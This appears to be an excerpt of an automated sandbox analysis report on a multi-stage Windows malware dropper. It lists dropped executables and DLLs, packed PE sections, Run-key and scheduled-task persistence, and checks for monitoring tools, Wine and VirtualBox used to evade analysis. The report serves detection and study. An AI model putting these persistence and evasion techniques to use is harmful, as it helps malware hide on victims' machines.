Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Unpacked PE file: 29.2.27ee25f0d2.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zqmibjwx:EW;nsixqmkw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zqmibjwx:EW;nsixqmkw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Unpacked PE file: 31.2.684030933f.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qlwzmoic:EW;qmvughcn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qlwzmoic:EW;qmvughcn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Unpacked PE file: 47.2.27ee25f0d2.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zqmibjwx:EW;nsixqmkw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zqmibjwx:EW;nsixqmkw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Unpacked PE file: 49.2.34712696d0.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W;qxymcwvr:EW;wyupsyni:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d835b should be: 0x1daf8e
Source: random[2].exe0.22.dr	Static PE information: real checksum: 0x1ccb32 should be: 0x1d68e5
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x1d835b should be: 0x1daf8e
Source: random[1].exe0.22.dr	Static PE information: real checksum: 0x1bb4c5 should be: 0x1b921c
Source: random[2].exe.22.dr	Static PE information: real checksum: 0x2b6c2e should be: 0x2b2adf
Source: 34712696d0.exe.22.dr	Static PE information: real checksum: 0x2b6c2e should be: 0x2b2adf
Source: c2fcbf308b.exe.22.dr	Static PE information: real checksum: 0x44321c should be: 0x4401b0
Source: 27ee25f0d2.exe.22.dr	Static PE information: real checksum: 0x1bb4c5 should be: 0x1b921c
Source: random[1].exe.22.dr	Static PE information: real checksum: 0x44321c should be: 0x4401b0
Source: file.exe	Static PE information: real checksum: 0x1bb4c5 should be: 0x1b921c
Source: 684030933f.exe.22.dr	Static PE information: real checksum: 0x1ccb32 should be: 0x1d68e5
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: real checksum: 0x1d835b should be: 0x1daf8e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zqmibjwx
Source: file.exe	Static PE information: section name: nsixqmkw
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: hrzfzjyg
Source: random[1].exe.0.dr	Static PE information: section name: dakuuilr
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name:
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name:
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: hrzfzjyg
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: dakuuilr
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: hrzfzjyg
Source: skotes.exe.20.dr	Static PE information: section name: dakuuilr
Source: skotes.exe.20.dr	Static PE information: section name: .taggant
Source: random[2].exe.22.dr	Static PE information: section name:
Source: random[2].exe.22.dr	Static PE information: section name: .idata
Source: random[2].exe.22.dr	Static PE information: section name: qxymcwvr
Source: random[2].exe.22.dr	Static PE information: section name: wyupsyni
Source: random[2].exe.22.dr	Static PE information: section name: .taggant
Source: 34712696d0.exe.22.dr	Static PE information: section name:
Source: 34712696d0.exe.22.dr	Static PE information: section name: .idata
Source: 34712696d0.exe.22.dr	Static PE information: section name: qxymcwvr
Source: 34712696d0.exe.22.dr	Static PE information: section name: wyupsyni
Source: 34712696d0.exe.22.dr	Static PE information: section name: .taggant
Source: vg9qcBa[1].exe.22.dr	Static PE information: section name: .spec
Source: vg9qcBa[1].exe.22.dr	Static PE information: section name: .ROL
Source: vg9qcBa.exe.22.dr	Static PE information: section name: .spec
Source: vg9qcBa.exe.22.dr	Static PE information: section name: .ROL
Source: random[1].exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name: .rsrc
Source: random[1].exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name: tdbqqdnq
Source: random[1].exe.22.dr	Static PE information: section name: wpfewoas
Source: random[1].exe.22.dr	Static PE information: section name: .taggant
Source: c2fcbf308b.exe.22.dr	Static PE information: section name:
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: .rsrc
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: .idata
Source: c2fcbf308b.exe.22.dr	Static PE information: section name:
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: tdbqqdnq
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: wpfewoas
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: .taggant
Source: random[2].exe0.22.dr	Static PE information: section name:
Source: random[2].exe0.22.dr	Static PE information: section name: .idata
Source: random[2].exe0.22.dr	Static PE information: section name:
Source: random[2].exe0.22.dr	Static PE information: section name: qlwzmoic
Source: random[2].exe0.22.dr	Static PE information: section name: qmvughcn
Source: random[2].exe0.22.dr	Static PE information: section name: .taggant
Source: 684030933f.exe.22.dr	Static PE information: section name:
Source: 684030933f.exe.22.dr	Static PE information: section name: .idata
Source: 684030933f.exe.22.dr	Static PE information: section name:
Source: 684030933f.exe.22.dr	Static PE information: section name: qlwzmoic
Source: 684030933f.exe.22.dr	Static PE information: section name: qmvughcn
Source: 684030933f.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name: .idata
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name: zqmibjwx
Source: random[1].exe0.22.dr	Static PE information: section name: nsixqmkw
Source: random[1].exe0.22.dr	Static PE information: section name: .taggant
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name:
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name: .idata
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name:
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name: zqmibjwx
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name: nsixqmkw
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AED91C push ecx; ret		22_2_00AED92F
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D39C15 push ecx; ret		23_2_00D39C28

Source: file.exe	Static PE information: section name: zqmibjwx entropy: 7.953706768462844
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.983434619623697
Source: random[1].exe.0.dr	Static PE information: section name: hrzfzjyg entropy: 7.954331866290207
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: entropy: 7.983434619623697
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: hrzfzjyg entropy: 7.954331866290207
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.983434619623697
Source: skotes.exe.20.dr	Static PE information: section name: hrzfzjyg entropy: 7.954331866290207
Source: random[2].exe.22.dr	Static PE information: section name: entropy: 7.808985758456771
Source: 34712696d0.exe.22.dr	Static PE information: section name: entropy: 7.808985758456771
Source: vg9qcBa[1].exe.22.dr	Static PE information: section name: .text entropy: 6.846144878021268
Source: vg9qcBa.exe.22.dr	Static PE information: section name: .text entropy: 6.846144878021268
Source: random[1].exe.22.dr	Static PE information: section name: tdbqqdnq entropy: 7.956494710305225
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: tdbqqdnq entropy: 7.956494710305225
Source: random[2].exe0.22.dr	Static PE information: section name: entropy: 7.979934072896169
Source: random[2].exe0.22.dr	Static PE information: section name: qlwzmoic entropy: 7.95306448544306
Source: 684030933f.exe.22.dr	Static PE information: section name: entropy: 7.979934072896169
Source: 684030933f.exe.22.dr	Static PE information: section name: qlwzmoic entropy: 7.95306448544306
Source: random[1].exe0.22.dr	Static PE information: section name: zqmibjwx entropy: 7.953706768462844
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name: zqmibjwx entropy: 7.953706768462844

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEHJKJEBGH.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJEHJKJEBGH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vg9qcBa[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEHJKJEBGH.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ddf08f7f32.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 27ee25f0d2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 684030933f.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEHJKJEBGH.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 684030933f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 684030933f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 27ee25f0d2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 27ee25f0d2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ddf08f7f32.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ddf08f7f32.exe

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe

Code function: 23_2_00D39CF2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

23_2_00D39CF2

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
